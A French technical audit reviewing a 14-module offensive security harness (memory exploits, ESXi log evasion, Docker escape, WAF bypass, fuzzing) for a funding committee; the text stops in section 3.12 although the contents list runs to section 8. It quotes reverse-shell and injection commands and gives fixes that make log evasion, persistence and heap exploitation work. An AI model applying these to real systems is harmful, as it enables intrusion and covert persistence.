GO CONDITIONNEL

AUDIT TECHNIQUE · DOSSIER DE FINANCEMENT

Harness de Validation Sécurité Offensive 14 Modules

Évaluation indépendante de la qualité, de la correction technique et de la viabilité opérationnelle d'un programme regroupant exploits mémoire, évasion, contournement WAF, fuzzing et boucle d'exploitation LLM. Audit destiné au comité d'investissement public.

DESTINATAIRE	Contrôle de Programme Gouvernemental
RÉFÉRENCE	AUDIT-HARNESS-2026-Q4
DATE	30 octobre 2026
CLASSIFICATION	Diffusion Restreinte — Comité d'Investissement
CADRE	ANSSI / Art. 323-1 CP / Homologation

Table des matières

1. Résumé exécutif 3

1.1 Tableau synthétique des modules . . . 3
1.2 Cinq risques majeurs . . . 3
1.3 Recommandation de financement (synthèse) . . . 4

2. Méthodologie d'audit 5

2.1 Périmètre . . . 5
2.2 Critères d'évaluation . . . 5
2.3 Échelle de gravité . . . 5

3. Analyse détaillée par module 6

3.1 Module 0 — Orchestrator (orchestrator.py) . . . 6
3.2 Module 1 — PHP UAF (php_uaf.php) . . . 8
3.3 Module 2 — Chaîne Monolog/Guzzle (php_chain.php) . . . 9
3.4 Module 3 — Heap exploit C (c_heap_exploit.c) . . . 10
3.5 Module 4 — Extraction GDB (gdb_extract.sh) . . . 11
3.6 Module 5 — Évasion ESXi (esxi_evasion.sh) . . . 12
3.7 Module 6 — Pre-auth injection (preauth.py) . . . 13
3.8 Module 7 — Évasion Docker (docker_escape.py) . . . 14
3.9 Module 8 — Contournement WAF (waf_bypass.py) . . . 15
3.10 Module 9 — Fuzzer d'envoi (fuzzer_send.py) . . . 16
3.11 Module 11 — Fuzzing AFL++ (fuzz_module.py) . . . 17
3.12 Module 12 — Analyse statique (static_analysis.py) . . . 18
3.13 Module 13 — Boucle LLM (llm_exploit_loop.py) . . . 19
3.14 Module 14 — Matrice étendue (matrix_v2.json) . . . 20

4. Problèmes systémiques transversaux 21

4.1 Signature et intégrité des rapports . . . 21
4.2 Reproductibilité non garantie . . . 21
4.3 Gestion d'erreurs insuffisante . . . 21
4.4 Absence d'isolation d'exécution . . . 22
4.5 Écart entre prétention et couverture réelle . . . 22

5. Conformité légale et cadre gouvernemental français 23

5.1 Cadre pénal — Articles 323-1 et suivants du Code pénal . . . 23
5.2 Cadre ANSSI et homologation de sécurité . . . 23
5.3 Protection du secret de la défense nationale . . . 23

5.4 RGPD et données personnelles . . . 24
5.5 Traçabilité et archivage . . . 24
6. Faisabilité opérationnelle **25**
6.1 Compétences requises . . . 25
6.2 Dépendances externes . . . 25
6.3 Coûts cachés . . . 26
6.4 Risque de dérive offensive . . . 26
7. Recommandation de financement **27**
7.1 Verdict . . . 27
7.2 Jalons préalables (tranche 1) . . . 27
7.3 Tranches de versement . . . 27
7.4 KPIs de suivi . . . 27
7.5 Risques de financement . . . 28
8. Annexe — Tableau consolidé des corrections **29**

1. Résumé exécutif

Ce rapport présente l'évaluation technique indépendante d'un programme de validation sécurité (« harness ») composé de **14 modules** couvrant l'exploitation mémoire (PHP UAF, chaîne Monolog/Guzzle, heap glibc), l'extraction mémoire par GDB, l'évasion ESXi, l'injection pré-authentification, l'évasion conteneur, le contournement WAF, le fuzzing AFL++, l'analyse statique (Semgrep + CodeQL) et une boucle d'exploitation assistée par LLM. L'ensemble est orchestré par un script Python signant les rapports.

Verdict global : GO CONDITIONNEL. Le programme démontre une ambition technique légitime et une couverture conceptuelle large. Cependant, sur les 14 modules évalués, **4 présentent des bugs bloquants** qui les empêchent de fonctionner comme annoncé, **5 ont des défauts majeurs** affectant la fiabilité, et seuls **5 atteignent un niveau acceptable** après corrections mineures. Le financement est recommandé sous condition de résoudre préalablement 7 jalons techniques décrits en section 8.

1.1 Tableau synthétique des modules

Le tableau ci-dessous synthétise le verdict par module. La colonne « Gravité dominante » indique le niveau du bug le plus sévère identifié. La colonne « Bloquant » précise si le module, en l'état, produit un résultat utilisable.

Module	Type	Verdict	Gravité	Bloquant
0 — Orchestrator	Framework	Acceptable	MAJEUR	Non
1 — PHP UAF	Exploit mémoire	Non fonctionnel	MAJEUR	Oui
2 — PHP Chain	Désérialisation	Partiel	MAJEUR	Partiel
3 — C Heap exploit	Exploit mémoire	Non fonctionnel	CRITIQUE	Oui
4 — GDB Extract	Extraction mémoire	Non fonctionnel	MAJEUR	Oui
5 — ESXi Evasion	Évasion + persistance	Non fonctionnel	CRITIQUE	Oui
6 — Preauth	Injection CGI	Partiel	MINEUR	Non
7 — Docker Escape	Évasion conteneur	Acceptable	MINEUR	Non
8 — WAF Bypass	Contournement WAF	Partiel	MAJEUR	Partiel
9 — Fuzzer send	Fuzzing HTTP	Acceptable	MINEUR	Non
11 — AFL Fuzz	Fuzzing binaire	Acceptable	MINEUR	Non
12 — Static Analysis	SAST	Acceptable	MINEUR	Non
13 — LLM Exploit Loop	Exploit auto	Partiel	MAJEUR	Partiel
14 — Matrix v2	Documentation	Acceptable	INFO	Non

1.2 Cinq risques majeurs

1. **Exploits mémoire non fonctionnels** — les modules 1 (PHP UAF) et 3 (C heap) ne déclenchent pas les vulnérabilités annoncées. Le module 3 plantera sur la détection double-free tcache de glibc 2.31 sans atteindre l'objectif.
2. **Schéma de signature cryptographiquement faible** — l'orchestrateur utilise SHA-256(clé + corps) au lieu de HMAC-SHA-256. Ce construction est vulnérable aux attaques par extension de longueur. Un rapport peut être falsifié sans connaissance de la clé.
3. **Absence de fonction de vérification** — le harness sait signer mais ne sait pas vérifier. Un contrôleur gouvernemental ne peut pas valider indépendamment l'authenticité d'un rapport produit.
4. **Évasion ESXi auto-destructrice** — le module 5 restaure la configuration immédiatement après modification, annulant l'évasion. La persistance écrit dans un fichier local.sh.new jamais exécuté au boot. Le backdoor nc -e n'est pas supporté par BusyBox sur ESXi.
5. **Couverture réelle vs prétention** — le matrix_v2.json est honnête sur les limites (section honest_ceiling), mais l'écart entre les modules « discovery » (fuzzing, SAST, LLM) et les modules « offensive » est grand. Les seconds sont de qualité PoC, pas production.

1.3 Recommandation de financement (synthèse)

Le programme est finançable à hauteur de **60 % du budget demandé en tranche 1**, débloqués après résolution des 7 jalons préalables (section 8.2). Les 40 % restants sont conditionnés à la validation par un tiers indépendant des modules offensive (1, 2, 3, 5) sur environnement cible. Cette structuration protège l'investissement public tout en permettant à l'équipe de démarrer le durcissement immédiat.

2. Méthodologie d'audit

2.1 Périmètre

L'audit couvre l'intégralité des 14 modules livrés, le script d'orchestration (orchestrator.py), les matrices de test (matrix.json et matrix_v2.json) et le script de déploiement (deploy.sh). L'évaluation s'est faite par revue statique du code source fourni, analyse de la logique d'exploitation, vérification des prérequis d'environnement annoncés et confrontation des promesses contractuelles (matrices) avec les capacités réelles du code.

2.2 Critères d'évaluation

Chaque module est évalué sur cinq critères :

- **Correction technique** — le code fait-il ce qu'il annonce ? Les bugs logiques sont-ils présents ?
- **Reproductibilité** — le module produit-il un résultat déterministe dans des conditions identiques ?
- **Sécurité du harness** — l'exécution du module présente-t-elle un risque pour l'opérateur ou l'environnement de test ?
- **Robustesse** — gestion des erreurs, timeouts, cleanup, edge cases.
- **Honnêteté déclarative** — la sortie JSON reflète-t-elle fidèlement ce qui s'est réellement passé ?

2.3 Échelle de gravité

Niveau	Définition	Impact
CRITIQUE	Bug empêchant le module de fonctionner. Le résultat annoncé est faux ou le module crash.	Bloquant — financement conditionné
MAJEUR	Défaut affectant la fiabilité, la sécurité ou la reproductibilité. Fonctionne partiellement.	Doit être corrigé avant mise en production
MINEUR	Défaut de qualité, maintenance ou robustesse. N'invalide pas le résultat.	Correction recommandée
INFO	Remarque d'amélioration, bonne pratique, observation.	Non bloquant

3. Analyse détaillée par module

3.1 Module 0 — Orchestrator (orchestrator.py)

L'orchestrateur est le composant central exécuté par le client gouvernemental. Il lance chaque module, capture la sortie, agrège les résultats dans un rapport JSON et appose une signature. La structure générale est correcte (dataclass Result, boucle sur les modules, écriture du rapport), mais plusieurs défauts technique affectent la fiabilité et la sécurité cryptographique du dispositif.

Bugs identifiés

1. **Filtre de modules erroné** [MAJEUR] — la liste de compréhension [... if Path(c[-1]).exists() or c[0] in (...)] vérifie l'existence du dernier argument de la commande. Pour les modules avec arguments supplémentaires (ex. : preauth.py http://127.0.0.1:8080), c[-1] est l'URL, pas le script. La vérification échoue silencieusement et le module n'est lancé que grâce au fallback c[0] in ('php','bash','python3'), qui ne vérifie pas l'existence du script lui-même. Conséquence : un script manquant provoque une erreur JSONDecode capturée comme raw_head, masquant la vraie cause.
2. **Timeout non géré** [MAJEUR] — subprocess.run(..., timeout=300) lève subprocess.TimeoutExpired si un module dépasse 5 minutes. Cette exception n'est pas interceptée : l'orchestrateur entier crash, perdant les résultats des modules déjà exécutés. Aucun rapport n'est produit.
3. **Schéma de signature vulnérable** [CRITIQUE] — la fonction sign() calcule SHA-256(clé + corps). Cette construction est vulnérable aux attaques par extension de longueur : un attaquant connaissant un rapport signé peut produire un rapport valide avec un suffixe arbitraire, sans connaître la clé. La construction correcte est HMAC-SHA-256(clé, corps) via hmac.new(key, body, hashlib.sha256).
4. **Clé par défaut faible** [MAJEUR] — REPORT_KEY par défaut est la chaîne 'harness-lab-key'. Si deploy.sh n'est pas utilisé ou si la variable d'environnement est absente, la signature est produite avec une clé publique et prévisible. Un rapport peut alors être falsifié.
5. **Aucune fonction de vérification** [MAJEUR] — le code sait signer mais ne contient pas de fonction verify(). Un contrôleur gouvernemental ne peut pas valider indépendamment l'authenticité d'un rapport sans réécrire du code. Pour un usage institutionnel, cette fonction est indispensable.
6. **Hash de payload fragile** [MINEUR] — payload_sha256 = SHA-256(str(cmd)) sérialise la liste Python en chaîne. La représentation str() d'une liste n'est pas stable entre versions de Python (espaces, guillemets). Le hash n'est pas reproductible inter-version. Utiliser json.dumps(cmd) avec séparateurs explicites.

Corrections recommandées

- Remplacer sign() par hmac.new(key, body, hashlib.sha256).hexdigest().
- Ajouter une fonction verify(report, key) -> bool et la documenter.

- Encapsuler run_module() dans un try/except subprocess.TimeoutExpired qui produit un Result avec exit_code=-1 et un résumé d'erreur.
- Corriger le filtre : vérifier l'existence du script (c[1] pour les commandes Python/bash/php) et logger explicitement les modules ignorés.
- Rendre REPORT_KEY obligatoire : refuser de signer si la variable est absente ou égale à la valeur par défaut.

Reproductibilité : acceptable. Le timestamp generated_at rend le global_sha256 non déterministe, ce qui est légitime pour un rapport horodaté mais invalide toute prétention de reproductibilité byte-à-byte.

3.2 Module 1 — PHP UAF (php_uaf.php)

Ce module prétend démontrer un Use-After-Free via le cycle GC de PHP 7.4, avec grooming de chunk et mesure de réutilisation. L'intention est didactique, mais la logique ne déclenche pas un véritable UAF et la métrique de sortie (dangling_hits) ne mesure pas ce qu'elle prétend.

Bugs identifiés

1. **Le destructeur préserve l'objet, ne le libère pas** [CRITIQUE] — Gadget::__destruct exécute Holder::$keep[] = $this->ry, soit le déplacement de la référence vers un conteneur statique. L'objet stdClass survit donc au GC : il n'est pas libéré. Il n'y a pas de pointeur suspendu. Le code démontre la collecte de cycle, pas un UAF.
2. **La métrique dangling_hits est toujours nulle** [MAJEUR] — le compteur vérifie is_object($ref) && !isset($ref->back). Or back a été défini ($g->ry->back = $g) avant la collecte. Après GC, l'objet survit avec sa propriété back intacte (bien que pointant vers un objet libéré). La condition !isset($ref->back) est donc fausse. Le module rapportera systématiquement dangling_hits = 0, contredisant l'attendu dangling_hits > 0 de la matrice.
3. **gc_collect_cycles() en sortie est trompeur** [MINEUR] — 'gc_runs' => gc_collect_cycles() dans le JSON final appelle une nouvelle fois le GC après que tous les cycles ont déjà été collectés. La valeur retournée sera 0 (ou très faible), ne reflétant pas les 100 cycles de collecte effectués en boucle.
4. **Holder::$meta jamais utilisé** [INFO] — le tableau $meta est peuplé à chaque destructeur mais n'apparaît pas dans la sortie JSON. Donnée morte.

Corrections recommandées

- Pour démontrer un véritable UAF : libérer explicitement l'objet via unset() sans préservation dans $keep, puis accéder à la référence après libération. Sous ASAN, l'accès sera signalé comme heap-use-after-free.
- Pour mesurer le grooming : allouer des objets de même taille après libération et détecter si l'ancien slot est réutilisé (comparaison d'adresses via spl_object_id()).
- Corriger la métrique dangling_hits pour qu'elle reflète le comportement réel attendu, ou renommer la métrique en gc_cycles_collected pour honnêteté.
- Supprimer Holder::$meta ou l'inclure dans la sortie.

3.3 Module 2 — Chaîne Monolog/Guzzle (php_chain.php)

Ce module génère un payload de désérialisation exploitant BufferHandler (Monolog) et FileCookieJar (Guzzle) pour produire une écriture de fichier. La stabilité byte-à-byte du payload est un objectif louable, mais la chaîne surestime son résultat (RCE) et la stabilité n'est pas garantie.

Bugs identifiés

1. **Le payload produit une écriture de fichier JSON, pas une RCE** [MAJEUR] — FileCookieJar::save() écrit json_encode($cookies), pas la valeur brute du cookie. Le fichier /tmp/harness_shell.php contiendra du JSON comme [{"Name":"pwn","Value":"<?php echo ..."}], pas du code PHP exécutable. Pour obtenir une exécution, il faut que le serveur interprète ce fichier comme du PHP, ce qui nécessite une configuration spécifique (inclusion, rename en .phar, etc.). La chaîne « RCE » annoncée est en réalité un file-write non-exécutable.
2. **BufferHandler::__destruct ne déclenche pas flush dans toutes les versions** [MAJEUR] — la chaîne suppose que BufferHandler::__destruct appelle flush() sur le handler sous-jacent. Dans Monolog 2.9, le destructeur de BufferHandler existe mais son comportement dépend de la version exacte du package. La chaîne doit être vérifiée contre la version précise déclarée (monolog 2.9.1).
3. **Expires => 0 peut invalider le cookie** [MINEUR] — SetCookie avec Expires => 0 est traité comme cookie de session. Certaines versions de Guzzle rejettent ou filtrent les cookies de session lors de la sauvegarde. Le payload peut produire un fichier vide.
4. **Stabilité du payload non vérifiée** [MINEUR] — la prétention « byte-stable » dépend de l'ordre de sérialisation des propriétés privées, qui peut varier entre versions PHP mineures. Un test de régression (sérialiser deux fois, comparer les hashes) devrait être inclus dans le module.

Corrections recommandées

- Documenter honnêtement le résultat : « file-write de contenu JSON, pas RCE ».
- Vérifier la chaîne contre monolog 2.9.1 exact : exécuter le payload et confirmer que le fichier est créé.
- Ajouter un test de stabilité : générer le payload 10 fois, vérifier que les 10 hashes SHA-256 sont identiques.
- Si l'objectif est une RCE, documenter les conditions préalables (inclusion du fichier par l'application, extension .phar, etc.).

3.4 Module 3 — Heap exploit C (c_heap_exploit.c)

Ce module cible glibc 2.31 (Ubuntu 20.04) avec un double-free tcache et un poisoning de __free_hook. C'est le module le plus critiqué de cet audit : la logique d'exploitation est fondamentalement cassée à deux niveaux, et le code crashera sans atteindre l'objectif.

Bugs identifiés

1. **Détection double-free tcache non contournée** [CRITIQUE] — glibc 2.29+ introduit tcache_key dans l'en-tête de chunk libéré. Le pattern free(a); free(b); free(a); est détecté et provoque un abort (free(): double free detected in tcache 2) avant toute exécution du poisoning. Le module s'arrête à la troisième libération. La cible annoncée (glibc 2.31) a cette protection.
2. **Logique de poisoning incorrecte** [CRITIQUE] — après le double-free (qui ne passe pas), le code écrit &win dans a libéré (poison du pointeur next du tcache), puis fait deux malloc(0x38). Le premier retourne a, le second devrait retourner l'adresse empoisonnée (&win). Le code écrit alors &win à cette adresse via memcpy(c, &t, 8) — soit une écriture dans le segment texte (read-only), provoquant un SIGSEGV. L'adresse cible aurait dû être &__free_hook, pas &win.
3. **« leak_text_base » n'est pas un leak** [MAJEUR] — la fonction lit /proc/self/maps du process lui-même. ASLR ne protège pas un process contre la lecture de sa propre mémoire. Ce n'est pas une fuite d'information au sens exploit ; c'est une lecture légitime. La vraie difficulté d'un exploit heap est de fuir une adresse de heap ou de libc depuis un contexte de vulnérabilité.
4. **Aucune adresse de heap ou libc leakée** [MAJEUR] — pour écraser __free_hook, il faut connaître son adresse, qui dépend de l'ASLR de libc. Le code utilise &win (adresse du binaire, non-PIE grâce à -no-pie) mais ne résout jamais l'adresse de __free_hook dans libc. L'exploit ne peut pas fonctionner même en contournant la détection double-free.

Corrections recommandées

1. Contourner la détection double-free tcache : libérer un chunk intermédiaire entre les deux libérations de a pour changer la valeur de tcache_key, ou utiliser une technique alternative (fastbin dup sur glibc plus ancien, House of Spirit).
2. Obtenir l'adresse de __free_hook : linker la libc, calculer l'offset depuis une adresse de fonction connue (ex. : puts via GOT), ou lire /proc/self/maps pour la base de libc.
3. Écrire l'adresse de win à l'adresse de __free_hook, pas à &win.
4. Tester sur l'environnement cible exact (glibc 2.31 Ubuntu 20.04) avec checksec pour confirmer les protections (PIE, NX, RELRO, canary).

Note : ce module nécessite une réécriture substantielle. En l'état, il ne peut pas fonctionner. C'est un jalon bloquant pour le financement (voir section 8).

3.5 Module 4 — Extraction GDB (gdb_extract.sh)

Ce module attache GDB à un process php-fpm, parcourt les régions mémoire rw-p, et exporte celles contenant PHPSESSID ou sess_. L'idée est légitime, mais l'implémentation a plusieurs bugs qui empêchent la production d'une sortie JSON valide.

Bugs identifiés

1. **Filtre rw-p incorrect** [CRITIQUE] — la ligne Python if 'rw-p' in m.group(0).split()[1] vérifie le deuxième token de la ligne de mapping, qui est l'adresse de fin (0x...), pas les permissions. Les permissions sont le troisième token (split()[2]). La condition ne matche jamais rw-p, donc aucune région n'est sélectionnée. Le script produit une liste vide.
2. **Sortie JSON invalide** [MAJEUR] — le script Python interne à GDB imprime found (une liste), puis la boucle bash finale affiche des objets JSON ligne par ligne. Le résultat stdout est un mélange de représentation Python ([{...}]) et de JSON, qui n'est pas parsable par l'orchestrateur. La capture json.loads(proc.stdout) échouera et produira raw_head.
3. **Capture par tail -1** [MAJEUR] — gdb ... | tail -1 ne garde que la dernière ligne de sortie. Si la liste Python s'étale sur plusieurs lignes (regions multiples), seule la dernière est conservée, perdant le début.
4. **Regex d'adresse incomplète** [MINEUR] — le pattern r'^\s*0x([0-9a-f]+)\s+0x([0-9a-f]+)\s+\S+\s+\S+\s+\S+\s*(.*)$' requiert 6 champs, mais certaines lignes de info proc mappings n'ont pas de chemin de fichier (dernier champ). Ces lignes sont ignorées.
5. **Plafond 64 MiB par région** [INFO] — min(e-s, 64*1024*1024) limite chaque dump à 64 MiB. Pour les grosses régions (heap anon), seule la première partie est exportée. Si les sessions sont en fin de région, elles sont manquées.

Corrections recommandées

- Corriger le filtre : perms = m.group(0).split()[2]; if 'rw' in perms ou capturer les permissions dans un groupe regex dédié.
- Produire une sortie JSON unique et valide : le script Python interne doit imprimer json.dumps(result) sur une seule ligne, et le bash ne doit rien ajouter.
- Remplacer tail -1 par une capture complète de stdout.
- Parcourir les régions par blocs si >64 MiB, ou utiliser grep -a -o sur le dump pour localiser les offsets exacts des chaînes cibles.

3.6 Module 5 — Évasion ESXi (esxi_evasion.sh)

Ce module cible ESXi 7.0 root pour neutraliser les logs syslog, purger les traces, installer une persistance rc.local.d et restaurer les timestamps. C'est un des modules les plus problématiques : la séquence logique est auto-destructrice, la persistance ne s'exécute pas, et le backdoor utilise une option non supportée.

Bugs identifiés

1. **Restauration immédiate annule l'évasion** [CRITIQUE] — la séquence est : (1) modifier vmsyslog.conf, (2) esxcli system syslog reload, (3) purger le log, (4) installer persistance, (5) cp -p $BAK $CONFIG (restauration), (6) esxcli system syslog reload. Après l'étape 5, la configuration est revenue à l'original. Le second reload réactive le logging normal. La fenêtre d'évasion est nulle après la fin du script.
2. **Persistance jamais exécutée** [CRITIQUE] — le code écrit dans /etc/rc.local.d/local.sh si inscriptible, sinon dans /etc/rc.local.d/local.sh.new. Ce fichier .new n'est jamais sourcé au boot. La persistance est silencieusement ignorée.
3. **nc -e non supporté sur BusyBox ESXi** [MAJEUR] — ESXi utilise BusyBox nc qui ne supporte pas l'option -e (exécution de commande après connexion). Le backdoor nc 127.0.0.1 4444 -e /bin/sh échouera avec nc: invalid option -- e.
4. **touch -d avec nanosecondes** [MINEUR] — stat -c '%y' retourne 2026-01-01 12:00:00.000000000 +0000. touch -d sur BusyBox peut ne pas parser les nanosecondes, provoquant un échec silencieux du timestomp. Utiliser touch -r $BAK $CONFIG (copie les timestamps depuis la sauvegarde) est plus robuste.
5. **Second reload syslog créé une trace** [MAJEUR] — le second esxcli system syslog reload (après restauration) est lui-même loggé dans /var/log/vmsyslog.log, créant une entrée « reload » qui révèle la manipulation. L'évasion est auto-dénonciatrice.

Corrections recommandées

1. Ne pas restaurer la configuration immédiatement : l'évasion doit rester active pendant la fenêtre d'opération. La restauration doit être différée (cron, timer, ou intervention manuelle post-opération).
2. Corriger la persistance : écrire dans /etc/rc.local.d/local.sh (existant) et vérifier qu'il est bien sourcé par /etc/rc.local. Sur ESXi 7.0, local.sh est le bon chemin.
3. Remplacer nc -e par un reverse shell compatible BusyBox : while true; do nc 127.0.0.1 4444 | /bin/sh; done ou utiliser python si disponible.
4. Supprimer le second syslog reload ou le remplacer par un vidage du log après restauration.
5. Utiliser touch -r $BAK $CONFIG au lieu de -d "$OM".

Note : ce module est jalon bloquant. En l'état, il ne produit ni évasion durable, ni persistance, ni backdoor fonctionnel.

3.7 Module 6 — Pre-auth injection (preauth.py)

Ce module teste 5 variantes d'injection de commande via un paramètre CGI (device_id) avant authentification. La structure est correcte, la sortie JSON est exploitable, mais plusieurs variantes sont conceptuellement inadaptées au vecteur HTTP.

Bugs identifiés

1. **Variante « ifs » inopérante en HTTP** [MAJEUR] — le payload ${IFS};id; en paramètre URL est encodé par requests : $ devient %24, les accolades sont encodées en %7B/%7D. Le serveur reçoit une chaîne littérale, pas une expansion shell. La variante ne peut jamais fonctionner via paramètre HTTP.
2. **Variante « newline » encodée** [MAJEUR] — le payload avec retour à la ligne (\n id \n) en paramètre de requête est encodé en %0A. Le serveur doit décoder puis interpréter le retour à la ligne comme séparateur de commande. La variante échouera sur tout serveur qui ne passe pas les paramètres à un shell.
3. **Variante « backtick » dépend du contexte** [MINEUR] — les backticks (`id`) ne sont interprétés que si le paramètre est substitué dans un contexte shell (eval, system, backticks Perl/PHP). Pour un CGI qui valide le paramètre en Python pur, la variante est inerte.
4. **r.text peut lever une exception** [MINEUR] — r.text décode le corps selon l'encodage détecté. Si l'encodage est exotique ou mal déclaré, la propriété peut produire des caractères de substitution. Préférer r.content.decode(errors='replace').
5. **Détection « leak » trop large** [INFO] — 'uid=' in r.text matche aussi des faux positifs (page HTML contenant « uid= » dans un formulaire). Affiner avec un regex uid=\d+.

Corrections recommandées

- Supprimer la variante ifs ou la réécrire pour un vecteur où l'expansion shell est possible (ex. : header X-Forwarded-For injecté dans un system() côté serveur).
- Pour la variante newline : envoyer la requête via socket brut pour contrôler l'encodage, ou utiliser %0A explicitement.
- Utiliser r.content au lieu de r.text pour le décodage.
- Affiner le regex de détection : re.search(r'uid=\d+|root:x:0:', r.content.decode(errors='replace')).

3.8 Module 7 — Évasion Docker (docker_escape.py)

Ce module exploite un docker.sock monté en lecture-écriture pour créer un conteneur privilégié avec bind de /, exécuter une commande et récupérer les logs. L'approche est standard et correcte conceptuellement. Les défauts sont dans la robustesse du parsing et la gestion du cycle de vie du conteneur.

Bugs identifiés

1. **Parsing HTTP naïf** [MAJEUR] — json.loads(create.split(b'\r\n\r\n', 1)[1]) suppose que le corps suit immédiatement les en-têtes. L'API Docker peut renvoyer des réponses chunked, avec trailers, ou en plusieurs paquets. Le split peut capturer plus ou moins que le corps JSON, provoquant un JSONDecodeError.
2. **sleep(2) peut être insuffisant** [MINEUR] — le conteneur alpine doit être créé, démarré, et exécuter id; head -3 /host/etc/shadow. Sur un hôte lent ou avec pull d'image, 2 secondes ne suffisent pas. Les logs peuvent être vides au moment de la récupération.
3. **Cleanup absent sur exception** [MAJEUR] — le api('DELETE', ...) final n'est pas dans un bloc finally. Si start ou logs lève une exception, le conteneur persiste sur l'hôte, consommant des ressources et laissant une trace.
4. **Format des logs non parsé** [MINEUR] — l'endpoint /logs retourne un flux dockerisé avec en-têtes de 8 octets par frame (type de flux, longueur). Le check b'uid=' in logs fonctionne par chance (les en-têtes ne contiennent pas uid=), mais le logs_tail affiché en JSON est illisible car mélangé avec les en-têtes binaires.

Corrections recommandées

- Utiliser la librairie docker Python officielle au lieu d'un socket brut : elle gère le parsing, les timeouts et le cleanup automatiquement.
- Si socket brut conservé : encapsuler dans try/finally pour garantir le cleanup, et parser correctement les en-têtes de réponse HTTP.
- Remplacer time.sleep(2) par une boucle d'attente active sur l'état running du conteneur, avec timeout.
- Pour les logs : parser le format dockerisé ou utiliser le paramètre ?stream=false qui retourne le contenu brut concaténé.

3.9 Module 8 — Contournement WAF (waf_bypass.py)

Ce module combine trois techniques : chunked transfer-encoding split, header HTTP/2 personnalisé, et mutations (double-encodage, null byte). La technique chunked est valide, mais la partie HTTP/2 est cassée et deux variantes ne sont jamais envoyées.

Bugs identifiés

1. **HTTP/2 sur socket TLS sans ALPN** [CRITIQUE] — la fonction h2_header() wrappe le socket en SSL via ssl._create_unverified_context() (déprécié) sans négocier ALPN h2. Le serveur ne saura pas qu'il doit utiliser HTTP/2 et répondra en HTTP/1.1. Les frames HTTP/2 envoyées seront interprétées comme du HTTP/1.1 mal formé, provoquant une erreur 400.
2. **Fallback SSL silencieux** [MAJEUR] — le except ssl.SSLError: pass continue avec le socket plaintext si TLS échoue. Mais le code envoie alors des frames HTTP/2 sur un socket cleartext, sans le préfixe Upgrade: h2c ni le préambule PRI * HTTP/2.0. Le serveur ne comprendra rien.
3. **dbl_encode et nul_space jamais envoyés** [MAJEUR] — les entrées dbl_encode et nul_space du dictionnaire results calculent un payload mais ne font aucune requête HTTP. Elles ne testent rien. Le résultat any_bypass ne les inclut donc jamais.
4. **ssl._create_unverified_context déprécié** [MINEUR] — utiliser ssl.create_default_context() avec check_hostname=False et verify_mode=CERT_NONE, et négocier ALPN via ctx.set_alpn_protocols(['h2']).

Corrections recommandées

- Pour HTTP/2 : négocier ALPN h2 dans le contexte SSL, vérifier que le serveur a accepté h2 (sock.selected_alpn_protocol()), sinon fallback en HTTP/1.1 standard.
- Pour h2c (HTTP/2 cleartext) : implémenter le handshake Upgrade avec Connection: Upgrade, HTTP2-Settings et le préambule PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n.
- Implémenter réellement les variantes dbl_encode et nul_space : envoyer le payload via une requête HTTP et vérifier la réponse.
- Remplacer ssl._create_unverified_context() par une construction moderne.

3.10 Module 9 — Fuzzer d'envoi (fuzzer_send.py)

Fuzzer HTTP avec rotation d'identité (User-Agent, X-Forwarded-For), mutations multi-passes et détection par catégorie. Le module est acceptable et fonctionnel. Les défauts sont mineurs et n'affectent pas la validité des résultats.

Bugs identifiés

1. **Mutation \uXXXX inopérante** [MINEUR] — la mutation f'\\u{ord(c):04x}' génère la chaîne littérale \u003b (backslash + u + chiffres), pas le caractère Unicode. La plupart des serveurs n'interprètent pas les escapes \uXXXX dans les paramètres URL. La mutation est inerte.
2. **Pas de concurrence** [MINEUR] — ~128 requêtes séquentielles avec timeout=5 chacune peuvent prendre plus de 10 minutes si le serveur est lent. Pour un usage CI, ajouter un ThreadPoolExecutor avec 4-8 workers.
3. **hint() trop large** [INFO] — 'Warning' in text and 'unserialize' in text matche aussi les warnings PHP légitimes non liés à une désérialisation exploitable.
4. **seed en argv mais pas dans JSON** [INFO] — le seed est passé en argument et inclus dans la sortie, ce qui est correct. Mais l'orchestrateur ne transmet pas le seed à ce module (il n'est pas dans la liste des modules de orchestrator.py). Incohérence entre l'orchestrateur et les modules.

Corrections recommandées

- Corriger la mutation Unicode : générer le caractère réel chr(ord(c)) et l'encoder en UTF-8 dans l'URL.
- Ajouter de la concurrence via concurrent.futures.ThreadPoolExecutor.
- Affiner hint() : 'unserialize() et vérifier le contexte de l'erreur (stack trace, non juste présence du mot).
- Ajouter fuzzer_send à la liste des modules de l'orchestrateur.

3.11 Module 11 — Fuzzing AFL++ (fuzz_module.py)

Module de campagne AFL++ bornée en temps, avec parsing des crashes et des statistiques. Le module est bien structuré et fonctionnel. Les défauts sont mineurs.

Bugs identifiés

1. **capture_output=True sur AFL** [MINEUR] — AFL++ produit une sortie très verbeuse (interface TUI même avec AFL_NO_UI=1). capture_output=True stocke tout en mémoire. Pour des campagnes longues, cela peut consommer des centaines de Mo. Préférer la redirection vers un fichier de log.
2. **Pas de vérification du binaire cible** [MINEUR] — si ./target_binary n'existe pas, AFL échoue immédiatement avec un message d'erreur. Le module capture l'erreur mais ne la distingue pas d'un échec de fuzzing.
3. **AFL_EXIT_ON_TIME = DURATION** [INFO] — fixer le timeout d'inactivité à la même valeur que la durée max signifie que la campagne peut s'arrêter très tôt si aucun nouveau chemin n'est trouvé dans les premières secondes. Pour une campagne CI bornée, c'est acceptable, mais réduire à DURATION / 4 serait plus efficace (sortie précoce si la cible est rapidement saturée).

Corrections recommandées

- Rediriger stdout/stderr vers un fichier (stdout=open(log_path, 'w')) et parser ce fichier dans collect().
- Vérifier l'existence du binaire cible et d'AFL++ avant de lancer, avec un message d'erreur explicite.
- Ajuster AFL_EXIT_ON_TIME à DURATION // 4 pour sortir précocement des cibles saturées.

3.12 Module 12 — Analyse statique (static_analysis.py)

Ce module orchestre Semgrep (règles p/php, p/c, p/security-audit) et CodeQL (si une base de données existe). La structure est correcte, l'utilisation de Semgrep est appropriée. CodeQL est traité de manière optionnelle, ce qui est réaliste.

Bugs identifiés

1. **Timeout Semgrep de 300s** [MINEUR] — 5 minutes peuvent être insuffisantes pour de grosses bases de code. Pour un usage CI, c'est acceptable ; pour un audit exhaustif, augmenter à 600s ou rendre configurable.
2. **Détection CodeQL fragile** [MINEUR] — db = TARGET / 'codeql-db' suppose que la base CodeQL est dans le répertoire cible. C'est non-standard : les bases CodeQL sont généralement créées dans un répertoire de build séparé. La détection devrait accepter un chemin explicite en argument.
3. **CodeQL sans query pack explicite** [INFO] — codeql database analyze <db> sans pack de requêtes exécute la suite par défaut, qui peut être volumineuse et lente. Pour un audit ciblé, spécifier --download-codeql et un pack comme codeql/cpp-queries.
